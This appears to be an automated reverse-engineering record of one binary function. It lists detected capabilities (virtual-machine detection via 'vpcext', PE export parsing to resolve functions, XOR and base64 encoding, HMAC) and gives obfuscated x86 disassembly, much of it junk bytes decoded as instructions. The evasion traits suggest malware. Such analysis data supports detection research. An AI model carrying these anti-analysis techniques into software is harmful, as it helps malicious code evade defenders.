Function at 0x67d855af
Capabilities:
Authenticate hmac
Check for vm using instruction vpcext
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1d4
mov dword [ebp - 0x18], 0x2570b
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0x7fd31
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0xe3c6a
or eax, dword [ebp - 0x24]
je 0x67d86293
mov edx, 0xe3c6a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d87a14
mov eax, dword [ebp - 0x28]
xor eax, 0xbba99
or eax, dword [ebp - 0x24]
je 0x67d85cb2
mov edx, 0xbba99
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d87a14
mov eax, dword [ebp - 0x28]
xor eax, 0xb6d7a
or eax, dword [ebp - 0x24]
je 0x67d87436
mov edx, 0xb6d7a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d87a14
mov eax, dword [ebp - 0x28]
xor eax, 0xa543c
or eax, dword [ebp - 0x24]
je 0x67d87a17
mov edx, 0xa543c
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d87a14
mov eax, dword [ebp - 0x28]
xor eax, 0x497c5
or eax, dword [ebp - 0x24]
je 0x67d86e55
mov edx, 0x497c5
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d87a14
mov eax, dword [ebp - 0x28]
xor eax, 0x5f7d
or eax, dword [ebp - 0x24]
je 0x67d856d1
mov eax, dword [ebp - 0x28]
xor eax, 0x134eb
or eax, dword [ebp - 0x24]
je 0x67d86874
jmp 0x67d87a14
cmp dword [esi + 1], eax
mov dh, 0x82
movsd dword es:[edi], dword [esi]
inc eax
arpl word [eax + 0x38cf5d69], bx
inc edx
and esp, ebp
popal
jle 0x67d8571f
outsb dx, byte [esi]
xor ebp, dword [eax]
mov al, 0x14
pop esi
in al, 0x8f
invalid
cld
push eax
mov dword es:[0xfce98b63], eax
imul ecx, ecx, 0x943a1fd1
cld
retf
invalid
jg 0x67d8622c
pop es
lcall 0xc0fe, 0x14283235
add al, 0xac
sub dword [0x5ab2ded], esp
inc esi
nop
int3
and eax, 0x50054c93
sub esi, 0xffffff8c
sub ecx, dword [eax - 0x6a564d7f]
invalid
mov eax, 0x345bbe72
adc edx, edi
xor eax, 0x2755dc08
out 0xfa, al
enter 0x451, 0x6f
and bl, byte ds:[esp + edx + 0x78bddcaa]
pop eax
sbb eax, 0x82a54652
mov esp, 0x93117314
cli
mov dl, 0xc6
test dword [edi + 0x15], edi
xchg byte [ebp - 0x648e8424], cl
inc esi
movsd dword es:[edi], dword [esi]
cmp byte [esp + edx - 0x56cee8d], 0xb2
mov byte [ebp - 0x7279ea81], 0xdc
jnp 0x67d862e2
wait
invalid
sub bh, byte [ecx + 0x3a]
jns 0x67d862b2
loop 0x67d86276
loope 0x67d8625e
jecxz 0x67d86215
out 0x41, eax
outsb dx, byte [esi]
mov al, byte [0xb4f51503]
push 0x44
dec eax
fisttp word [edi]
nop
int3
in eax, dx
xor byte [ecx + 0x280a1f44], dh
call 0x9910c2e9
jp 0x67d86308
bound eax, qword [eax]
aam 0x5b
mov al, byte [0x91edb6d8]
xlatb
jne 0x67d86275
aad 0x7e
in al, 0x7a
xchg esp, eax
mov ah, 0xda
jnp 0x67d86241
int1
xchg ecx, eax
cmp bh, byte [eax]
sub bh, ch
cmpsb byte [esi], byte es:[edi]
dec edx
retf
loopne 0x67d86317
push esp
shr eax, 0x80
mov eax, dword [0x5aa394f2]
or cl, ch
dec eax
int 0x48
loope 0x67d862d6
adc dword [ecx - 0x6e], edi
mov ch, 0x7d
or al, 0xa4
aam 0xaa
imul ebx, edi, 0x91a10f68
nop
int3
arpl word [edi], cx
jae 0x67d86316
lahf
mov dl, 0xb3
out 0x58, al
cwde
jo 0x67d862be
aam 0x5a
xor al, 0xa7
cmpsd dword [esi], dword es:[edi]
jge 0x67d86311
push 0x75
fcompi st(2)
dec esp
fst st(2)
xchg ecx, eax
jg 0x67d862eb
dec eax
or al, 0x2b
ror dword [ebx + 0x40], cl
or eax, 0x6b85f3d5
cld
mov bh, 0x14
lodsb al, byte [esi]
pop ecx
out dx, eax
pop ecx
inc ebx
cli
retf
mov eax, 0x130ec426
push ecx
add edi, eax
inc ecx
aaa
invalid
pop ax
mov ebx, 0xed0635f4
adc eax, 0x9eab7627
xor eax, 0x2715ed06
jbe 0x67d8671c
sahf
jl 0x67d86766
dec ecx
mov cl, ch
shl esi, cl
imul ebp, dword [edi], 0x1866921b
mov edi, esp
fld qword [edx]
imul ebx, dword [ecx + 0x4b617821], 0xa0f75980
dec ch
mov eax, 0xf3036532
fmul dword [eax + 0xabb950a]
add eax, dword [ecx - 0x51]
aas
cmp eax, 0xedbf7392
adc ebx, dword [ebp - 0x70]
int3
lodsb al, byte [esi]
adc al, 0x84
xchg edx, eax
or byte [edi + 0x2fa8185a], al
in al, 0xf6
mov dword [0xa0187736], eax
mov dl, 0xd5
int1
jne 0x67d8676a
add dword [esi - 0x5f7a3a2d], esp
cwde
hlt
cvtps2pi mm7, qword [ecx]
fmul dword [ebx - 0x5ff4486b]
loope 0x67d867c3
bound esp, qword [edi + 0x1fb7add1]
lodsd eax, dword [esi]
mov bh, 0x1f
xchg esp, eax
out dx, eax
adc al, cl
xchg dh, dh
cmpsd dword [esi], dword es:[edi]
call 0x8892b362
mov ebx, 0x43f88ec5
jge 0x67d8682a
adc byte [0x4bb31bae], dh
dec ebp
jge 0x67d86883
pop ebp
mul dword [ebx - 0x42]
setl byte [ebx + 0x60b73eb4]
jl 0x67d868c1
std
xchg cl, dh
rcr byte [esp], cl
dec edi
ret
inc ebx
pushfd
bound edi, qword [0xdca4d66b]
xchg edi, eax
mov ch, 0x5a
mov esp, 0xe642a3e
push cs
mov ch, 0x83
adc edi, ebx
fstp xword [eax]
mov dl, 0xc3
mov eax, 0x443564e6
jge 0x67d86838
test eax, 0x7327410c
xor eax, 0x58b1d85d
in eax, 0xc1
pop ecx
sti
mov dword [0xb509bc6c], eax
cmp byte [ecx], ah
or eax, 0x45baf62e
fld dword [esi + 0x24da93d9]
test ebp, ecx
inc esi
xchg ebx, eax
pushfd
into
cmc
frstor dword [edx + 0x6c06b47e]
xchg byte [esi - 0x7be5165], bl
sahf
wait
scasb al, byte es:[edi]
inc ecx
clc
or dword [esi], ebp
push es
salc
mov cl, 0xc2
out dx, al
cmp ebp, dword [ecx - 0x36e76aa6]
movsd dword es:[edi], dword [esi]
ret 0x9070
inc eax
dec ebx
hlt
cmp byte [eax], ah
or ah, ch
push 0x8d139001
pop ecx
sar eax, 0x30
adc esp, eax
xchg ecx, eax
or ah, byte [eax + ecx]
sti
add bh, byte [edx - 0x4ab335d1]
cmp eax, 0x2965b999
fucom st(5)
cdq
mov ecx, 0xe5dd2965
jge 0x67d87452
mov bh, 0x40
hlt
nop
jmp 0x67d87a18
nop
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x30], 0x4e079
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0xd3331
mov dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x40]
xor eax, 0x1213aa
or eax, dword [ebp - 0x3c]
je 0x67d8c2a9
mov edx, 0x1213aa
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xef18c
or eax, dword [ebp - 0x3c]
je 0x67d8b6ea
mov edx, 0xef18c
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xececc
or eax, dword [ebp - 0x3c]
je 0x67d89985
mov edx, 0xececc
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xdae0a
or eax, dword [ebp - 0x3c]
je 0x67d8b109
mov edx, 0xdae0a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xd031a
or eax, dword [ebp - 0x3c]
je 0x67d89f66
mov edx, 0xd031a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xc1fa8
or eax, dword [ebp - 0x3c]
je 0x67d8ab28
mov edx, 0xc1fa8
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0xbfe29
or eax, dword [ebp - 0x3c]
je 0x67d88201
mov edx, 0xbfe29
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0x9c72a
or eax, dword [ebp - 0x3c]
je 0x67d8bccb
mov edx, 0x9c72a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0x5eb5a
or eax, dword [ebp - 0x3c]
je 0x67d887e2
mov edx, 0x5eb5a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0x54316
or eax, dword [ebp - 0x3c]
je 0x67d8a547
mov edx, 0x54316
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0x32016
or eax, dword [ebp - 0x3c]
je 0x67d88dc3
mov edx, 0x32016
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d8c2ac
mov eax, dword [ebp - 0x40]
xor eax, 0x117f4
or eax, dword [ebp - 0x3c]
je 0x67d893a4
mov eax, dword [ebp - 0x40]
xor eax, 0x1a6c6
or eax, dword [ebp - 0x3c]
jne 0x67d8c2ac
movsb byte es:[edi], byte [esi]
xchg ebp, eax
mov dword [0x3ee7b88e], eax
imul ecx, dword [edi - 0x1da7d2ca], 0x89aa001a
ljmp 0xbc7c
push ebx
test al, 0xf2
movsd dword es:[edi], dword [esi]
retf 0xee4d
push cs
shl dword [ebp - 0x12], 0x62
lcall 0x42f, 0xd3659c08
add dword [eax - 0x1c], esp
or eax, 0x45e55cda
dec edx
and byte [esi], cl
and dword [eax + 5], ebx
invalid
in eax, 0xa9
wait
loop 0x67d88846
sbb esp, dword [eax - 0x606922e9]
in al, dx
and dword [ecx + 0x75], ecx
mov edi, 0xc2b2ac6b
js 0x67d887a9
pop es
fdivr qword [esi - 0x31ff2a28]
mov esi, 0xce00d5d8
ret
loop 0x67d88870
mov bh, 0x51
cmp eax, 0x2d19f092
aaa
and byte cs:[eax], bh
pop ss
neg byte [esp + ebp*2 + 0x6d0c52d3]
inc ecx
inc ecx
maskmovq mm0, mm0
retf
ror cl, 1
cli
mov edi, 0xbfed377f
sbb eax, dword [edi]
not esp
xor dword [ebx + 0x58c9bf75], eax
out 0x97, eax
out dx, eax
out 0xdc, eax
jp 0x67d8887d
rcr dword [eax], 1
cmp eax, 0xc68e2c8e
iretd
movsd dword es:[edi], dword [esi]
nop
cmp ebp, ebx
jl 0x67d887fa
test dword [ebx - 0x281b67b2], 0x868e20a0
insb byte es:[edi], dx
rol byte [ebp + 0x7e5a25b2], cl
or al, 0x18
sbb al, 0x54
and byte [esi - 0x7a2d937a], cl
mov dl, 0x25
pop edx
jle 0x67d8880a
enter 0x1c18, 0x54
hlt
iretd
ror dword [edi], cl
cwde
das
pop ss
mov fs, word [ebx + 0x72]
sub dword [ecx + 0x42], ebx
dec ebx
and bh, byte [ebx + edi + 0x2dc0bc1c]
invalid
mov byte [esi - 0xb], bl
xchg esp, eax
inc ebp
mov byte gs:[esi + 0x34831a63], al
cmp dword [eax], 0xffffffd0
stc
dec edi
retf
jbe 0x67d89f5d
ljmp 0xd9a2:0xe18562d8
sbb al, 0x12
nop
int3
shr byte [esi + 0x33464248], cl
imul esi, ebp, 0x7a
inc esp
movsb byte es:[edi], byte [esi]
xchg edi, edx
add eax, 0x570fcd44
mov ebp, 0xaa9641a7
mov bl, 0x9a
pop esp
ja 0x67d89f45
aam 0x7f
fild word [edx + 0x18]
push eax
loopne 0x67d89fe9
in eax, dx
invalid
mov ebx, 0xdc156921
mov ch, 0xce
invalid
add byte [edi], al
in eax, dx
xchg ecx, eax
pop edi
aas
sbb dword [ebx + 0x668755eb], 0x642f807a
inc edi
jl 0x67d8a5d3
dec edi
inc esp
rol byte [edx + 0x4857483d], 0x17
ror dword [ecx + 0xd44ae0b], 1
jns 0x67d8a589
inc esp
or eax, 0xbca71e79
mov eax, ss
sti
sub ch, ah
stosd dword es:[edi], eax
cmpsd dword [esi], dword es:[edi]
mov esp, 0x28fbd08c
in eax, 0xab
jb 0x67d8a567
in eax, 0x62
sub eax, 0xcae6ef24
cmp eax, dword [edi]
imul dword [edi + 0x3c]
invalid
inc esi
inc esi
invalid
mov dl, 0x5c
fsub qword [ebp + 2]
shl byte [ecx + 0x7de0d3d7], cl
mov ebp, dword [ecx + 0x7d]
out 0x91, al
xor dword [eax - 0xa], esp
cmpsd dword [esi], dword es:[edi]
sbb eax, 0xf83480b7
pop esi
push edx
sbb dh, dl
ficomp word [edx]
mov bl, 0xd7
aam 0x8f
inc byte [ebx + 0x7b]
fadd qword [ebx + 0x5cc1d112]
dec ebx
fsubrp st(7)
adc dword [edx], 0xffffffd1
rcr dword [ebx + ecx*2 - 0x22], 0xe7
pop es
sbb al, 0x3e
or ecx, dword [ebx + 0x63]
jne 0x67d8a65d
or eax, 0xcc90b343
jns 0x67d8a639
or al, 0x12
xchg byte [esp + edi*8 + 0x3d], ch
adc byte [0xb0b3b954], bh
cld
or al, 0xf5
push ecx
mov al, byte [0x11596a90]
push ecx
aas
ljmp 0xc2c
daa
ljmp 0x8223
sub dword [esp + edi + 0x5524b7e5], edi
aas
mov ch, 0x38
jo 0x67d8a698
jno 0x67d8a5fa
adc eax, 0xd48b01d4
sar dword [edi + edi*2 - 0x4e], 0x19
aam 0xc1
jl 0x67d8a6ce
mov dl, 0x19
xchg edx, eax
inc byte [eax + 0x72]
or bh, byte [edx]
into
add dl, byte [edx]
out 0xd5, eax
test eax, 0xec29ec70
jo 0x67d8a64b
sub esp, ebp
lds ecx, [edx]
ja 0x67d8a630
cmp esi, ecx
leave
or ch, dh
salc
mov word [ecx], cs
mov dh, 0x3c
adc dword [eax + 0x3cb5a9cc], 0x8ed8092f
dec ebx
push edi
movsd dword es:[edi], dword [esi]
jg 0x67d8a6f4
add byte [edx], dh
jmp 0x5a97d221
pop edx
mov al, 0x8f
xchg esi, eax
int3
bound eax, qword [esi - 0x3d]
add byte [ecx + 0x31610a78], 0x92
retf
jne 0x67d8a70a
add eax, 0x2ee13f9d
nop
int3
pop edi
sub ecx, dword [eax - 0x36b962a2]
pop ebx
imul byte [ebp - 0x16]
and al, 0xd1
dec esi
and bh, byte [eax - 0x28]
fmul dword [0xa51f17e1]
movsd dword es:[edi], dword [esi]
loope 0x67d8a6be
invalid
std
xchg esi, eax
adc al, 0x67
xor byte [esp + eax*4 + 0x3136eeee], bl
ret 0xdd08
aad 0xa8
push ebx
test al, 0x53
cmp ebx, dword [eax]
rol cl, 1
adc eax, 0xa8c3054
imul ebx, ebx, 0x68
mov esp, 0x7e56a41d
lodsd eax, dword [esi]
popfd
adc bl, byte [esi + 0x24b12d70]
lodsb al, byte [esi]
adc eax, 0x76516355
cmp al, 0x98
jecxz 0x67d8b1ab
mov eax, dword [0x9dd53a0b]
aad 0x9d
xchg esp, eax
lahf
js 0x67d8b10a
salc
inc eax
lahf
das
xchg byte [edx], ch
ret
xchg edi, eax
sbb dword [edi + 0x2c2eb141], 0x2a4660b0
xchg edi, eax
jg 0x67d8b1e1
cmp edx, dword [ebx - 0x37]
sbb al, 0x81
in al, 0x9d
sub dword [esi], 0xfffffffc
salc
add dh, byte [eax + esi*8]
xor dword [0x164ea908], 0xb0686971
imul ebp, dword [eax - 0x50], 0x95b58673
jae 0x67d8b132
xchg byte [ebp + 0x4d8fc695], dh
jae 0x67d8b184
mov ch, 0x95
invalid
rcr dword [ebx], 1
lodsd eax, dword [esi]
sbb bl, byte [ebp - 0x4a]
fdiv qword [edx + 0x2d]
sbb ebp, dword [ebp - 0x2349a2e6]
jb 0x67d8b1e8
insb byte es:[edi], dx
jno 0x67d8b1aa
rol ch, cl
jae 0x67d8b1c7
dec ecx
mov ebx, 0x2a98762
sbb dh, byte [eax + 0x3bac007c]
xchg edi, eax
nop
int3
add bl, byte [edx]
mov al, 0x7c
add byte [ebx + edi + 0x33cc9097], ch
sbb bl, byte [esi + ecx*4 - 0x38]
pop eax
arpl sp, ax
mov dh, 0xe8
xchg esi, eax
into
invalid
or al, 0xe7
std
inc ecx
scasd eax, dword es:[edi]
mov ch, 0x91
jne 0x67d8b1b2
sub al, byte [ecx + 0x346e398a]
pushal
js 0x67d8b1c3
pop ds
in al, 0xa1
xor eax, 0x131aa5db
xor eax, 0x5f8160ce
out 0xcf, eax
sub al, 0xf2
push ss
inc ebp
call 0x34136358
cwde
out dx, eax
movsb byte es:[edi], byte [esi]
push esp
inc ebp
lahf
and ecx, dword [eax]
jbe 0x67d8b237
mov ah, 0x2d
lea esi, [esi]
loopne 0x67d8b20c
jns 0x67d8b1a7
and eax, 0x6765387
adc edi, eax
pop eax
pop edi
invalid
cmp ah, al
and al, 0x71
push ss
mov edi, 0x973f1aed
invalid
jecxz 0x67d8b737
pop ebx
das
invalid
div dword [edx + 0xa6b4d5f]
ficom dword [esi + edx*2 - 0x2e]
or ebp, dword [ebp + 0x812a3d3]
cwde
sub esi, dword [ebx + 0x3e3d0139]
add cl, byte [edx + 0x6b]
leave
sbb dword [eax + ecx*2], esi
push 0xffffffffffffffb2
pop ebp
stosd dword es:[edi], eax
mov al, 0xde
pop edi
cmp ebx, 0x2d
aam 0xc6
add eax, 0xfb9e4192
dec ebx
sub al, 0xae
dec edi
dec edi
pop ebp
xor al, 0x86
add al, 0x81
movsb byte es:[edi], byte [esi]
mov cl, 0xa1
salc
sub byte [esi], al
loop 0x67d8b6c4
pop es
sbb al, 0x4c
and dword [eax + 0x50d4bd37], esi
jae 0x67d8b7af
mov cl, 0x5a
pop edx
pop ss
ror dword [edi], cl
in eax, dx
lcall 0xc578, 0xb01dd486
inc esp
or al, 0xcb
movsb byte es:[edi], byte [esi]
mov ecx, 0x260eb7fe
nop
int3
xor eax, 0x65ebcc90
sar byte [esi + 0x162c0336], cl
sbb dword [ebp - 0x499e994c], ecx
jmp 0xdfb1e764
and byte [eax + 0x5e2e9cc], dl
add byte [eax], al
pop edx
aad 0xde
lea ebx, [eax - 0x56]
insb byte es:[edi], dx
jns 0x67d8bcc3
push ebx
jmp 0x67d8bd01
jle 0x67d8bd13
adc dword [eax + 0x2f5cecbb], esi
mov al, 0xbb
in al, dx
pop esp
das
out dx, eax
mov dl, 0xd6
out dx, eax
loope 0x67d8bd00
or dword [esi], eax
retf
ret 0xa14d
nop
jmp 0x67d8c2ad
nop
mov eax, dword [0x680a5028]
mov edx, dword [eax + 0x84]
mov eax, dword [eax + 0x80]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], edx
mov dword [ebp - 0x48], 0x5edfd
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x50], 0x902
mov dword [ebp - 0x4c], 0
mov ecx, dword [ebp - 0x48]
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x58]
xor eax, 0xd52ff
or eax, dword [ebp - 0x54]
je 0x67d905ec
mov edx, 0xd52ff
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0xd1b51
or eax, dword [ebp - 0x54]
je 0x67d8fa2a
mov edx, 0xd1b51
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0xc07c5
or eax, dword [ebp - 0x54]
je 0x67d8d6e4
mov edx, 0xc07c5
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0xb4e11
or eax, dword [ebp - 0x54]
je 0x67d9000b
mov edx, 0xb4e11
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0xb2a70
or eax, dword [ebp - 0x54]
je 0x67d8ee68
mov edx, 0xb2a70
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x8cc85
or eax, dword [ebp - 0x54]
je 0x67d8f449
mov edx, 0x8cc85
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x8b53f
or eax, dword [ebp - 0x54]
je 0x67d911ae
mov edx, 0x8b53f
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x79757
or eax, dword [ebp - 0x54]
je 0x67d8e2a6
mov edx, 0x79757
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x5f6ff
or eax, dword [ebp - 0x54]
je 0x67d91d70
mov edx, 0x5f6ff
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x5a6cf
or eax, dword [ebp - 0x54]
je 0x67d8e887
mov edx, 0x5a6cf
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x558cf
or eax, dword [ebp - 0x54]
je 0x67d90bcd
mov edx, 0x558cf
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x53d41
or eax, dword [ebp - 0x54]
je 0x67d8cb22
mov edx, 0x53d41
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x4c672
or eax, dword [ebp - 0x54]
je 0x67d8c541
mov edx, 0x4c672
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x31564
or eax, dword [ebp - 0x54]
je 0x67d8dcc5
mov edx, 0x31564
mov eax, 0
cmp edx, dword [ebp - 0x58]
sbb eax, dword [ebp - 0x54]
jl 0x67d91d6d
mov eax, dword [ebp - 0x58]
xor eax, 0x1e78d
or eax, dword [ebp - 0x54]
je 0x67d8d103
mov eax, dword [ebp - 0x58]
xor eax, 0x2d38f
or eax, dword [ebp - 0x54]
je 0x67d9178f
jmp 0x67d91d6d
pop eax
je 0x67d8c594
mov byte [edx], cl
push esi
in al, dx
push 0xbc3fd64e
out 0x1b, eax
mov bh, 0xef
leave
insb byte es:[edi], dx
je 0x67d8c522
add byte [ecx - 0x56c1d9d2], ch
fnsave dword [edx]
sbb eax, dword [ebp + esi*4 - 0x4cdd03dc]
les esp, [0x46a337f0]
cmp edi, ebp
push eax
pop ebp
sahf
and esi, esi
inc ebx
add eax, 0x78758019
mov dword [esi + 0x6a], ecx
cmp al, 0x24
mov edi, 0x4c849ed8
push edx
dec esp
stosb byte es:[edi], al
nop
cmpsd dword [esi], dword es:[edi]
pop eax
cmp al, 0xbe
cmp dword [edi - 0xf53cc9c], esi
inc edx
cmp al, 0xf1
js 0x67d8c58d
lodsb al, byte [esi]
invalid
cdq
adc al, 0xce
ljmp 0xd3d9
xchg edi, eax
test byte [eax + 0x524fe9cc], dl
add byte [eax], al
or esp, eax
fld dword [edx]
mov dword [0x7a0925bd], eax
adc al, 0x31
sbb edi, esp
dec esp
fmul qword gs:[eax]
cwde
mov ebp, 0x39c02f88
adc byte [eax - 0xc70015b], dl
mov ebx, 0x98efaa6a
loope 0x67d8cb19
jo 0x67d8cb8e
jle 0x67d8cb8d
pop esi
push ebx
daa
outsd dx, dword [esi]
mov bh, 0xf8
jle 0x67d8cb4a
invalid
dec byte [edx + ecx*8 + 0x52]
invalid
dec esp
retf 0xc752
xchg esi, eax
shl esi, 1
xor byte [edx - 0x19], bl
scasd eax, dword es:[edi]
xchg dword [edi + 0x1411531f], ecx
cli
invalid
ret
cmp ebx, dword [edx + esi + 0x70]
pop ds
fdivr dword [edx - 0x519010e2]
lodsd eax, dword [esi]
sbb al, 0x59
movsd dword es:[edi], dword [esi]
in eax, dx
in eax, 0xb4
invalid
fdiv qword [eax]
lodsd eax, dword [esi]
pushal
add ebx, edi
std
mov byte [0x70e5f206], dh
inc eax
daa
out 0xc5, al
pop ecx
in eax, dx
xchg edx, eax
sahf
int 0x84
invalid
retf
movsd dword es:[edi], dword [esi]
xor edi, dword [edx]
ror byte [ebx], 1
lea ebx, [esi + 0xc]
in eax, dx
fadd st(5)
iretd
push esi
retf
sbb ecx, dword gs:[edi + 0x6b]
xor al, 0x6b
out dx, eax
push ebp
scasb al, byte es:[edi]
push es
retf
xchg edi, eax
shl byte [ecx], 1
cmp ah, al
test byte [edi - 0x1ba0e474], al
invalid
lahf
mov ch, 0x7a
outsd dx, dword [esi]
loop 0x67d8ffda
and dword [ecx - 0x5dc4c643], edx
pop ebp
lahf
arpl word [edx], si
xchg ecx, eax
or byte [ebp - 0x22], cl
je 0x67d9003f
aas
scasd eax, dword es:[edi]
or dword [edx + ebx + 0x52a15a4], eax
xchg ebp, eax
lea edi, [edi + 0x36]
mov byte [ebx - 0x1e272227], 0xdb
pop esi
leave
call 0xe37f52f5
inc esp
sub al, 0xb9
dec ecx
mov edx, 0xd5847883
fnstcw word [ebx + edi*4 - 0x2a]
mov edi, 0x31dda40a
mov edx, 0x17a48b0c
popfd
push ebp
add ebx, ecx
and cl, byte [ebx]
sar dword [eax + 0x4e], 1
inc esp
cdq
sbb dh, ah
cmp ch, cl
pop eax
sbb ecx, dword [edi + 0x190ac9f4]
rep stosb byte es:[edi], al
jne 0x67d9009f
nop
int3
sub byte [ebp + 0x53e37517], ah
sub eax, 0x946c03a9
stosb byte es:[edi], al
pop ebp
outsb dx, byte [esi]
push 0x3b
cmp edx, esi
into
test eax, 0xb7ed1011
invalid
sub dword [ebp + 0x23a3b8b7], 0x3c7ebe21
xchg esi, eax
or ah, cl
bound ebx, qword [ebp - 0x5c87af86]
clc
lcall 0x33c9, 0xb7adee87
cmpsd dword [esi], dword es:[edi]
test al, 0x93
pop ecx
daa
out dx, eax
fisttp dword [ecx - 0x3f620baf]
and dword [esi - 0x44], 0xffffffee
dec ecx
invalid
shr byte [esi + edx], 1
sal byte [esi - 0x41], cl
mov al, byte [0x558d9de1]
mov edx, 0xe76cda84
cmp dword [edi + 0x44ed4b41], edx
arpl word [ebx], bx
sub ah, byte [ebp + 0x1ba66917]
xchg edx, eax
jns 0x67d90c20
mov byte [edi + 0x69d52da2], ah
cmp bl, byte [ecx - 0x58]
retf
das
mov eax, 0x85eb6e43
add edx, ebx
cmp bl, byte [edi - 0x2ae9ad50]
xchg esi, eax
nop
int3
leave
stc
push ebx
xor bl, ah
adc eax, dword [esi]
invalid
nop
int3
pop edx
mov eax, 0x9ec40b2d
mov byte [0xca89db97], al
ror dword [ebx - 0x76], 0xa0
mov dl, 0x2a
xor al, 0x6a
call 0x82f3a702
pop ebp
xor byte [esi - 0x73], dh
into
push edx
test byte [ebp - 0x5fa73b51], dh
pop edx
dec eax
mov eax, dword [0x564963c8]
push ss
nop
int3
test dl, ch
out 0x67, al
jg 0x67d9175c
mov edx, 0x2b0bb11d
cmp al, 0x31
jp 0x67d91724
push 0xffffffffffffff9d
adc al, 0xb5
mov cl, 0xdd
invalid
nop
jmp 0x67d91d71
nop
mov eax, dword [ebp - 0x1c0]
mov edx, dword [0x680a5024]
add eax, edx
mov dword [ebp - 0xc], eax
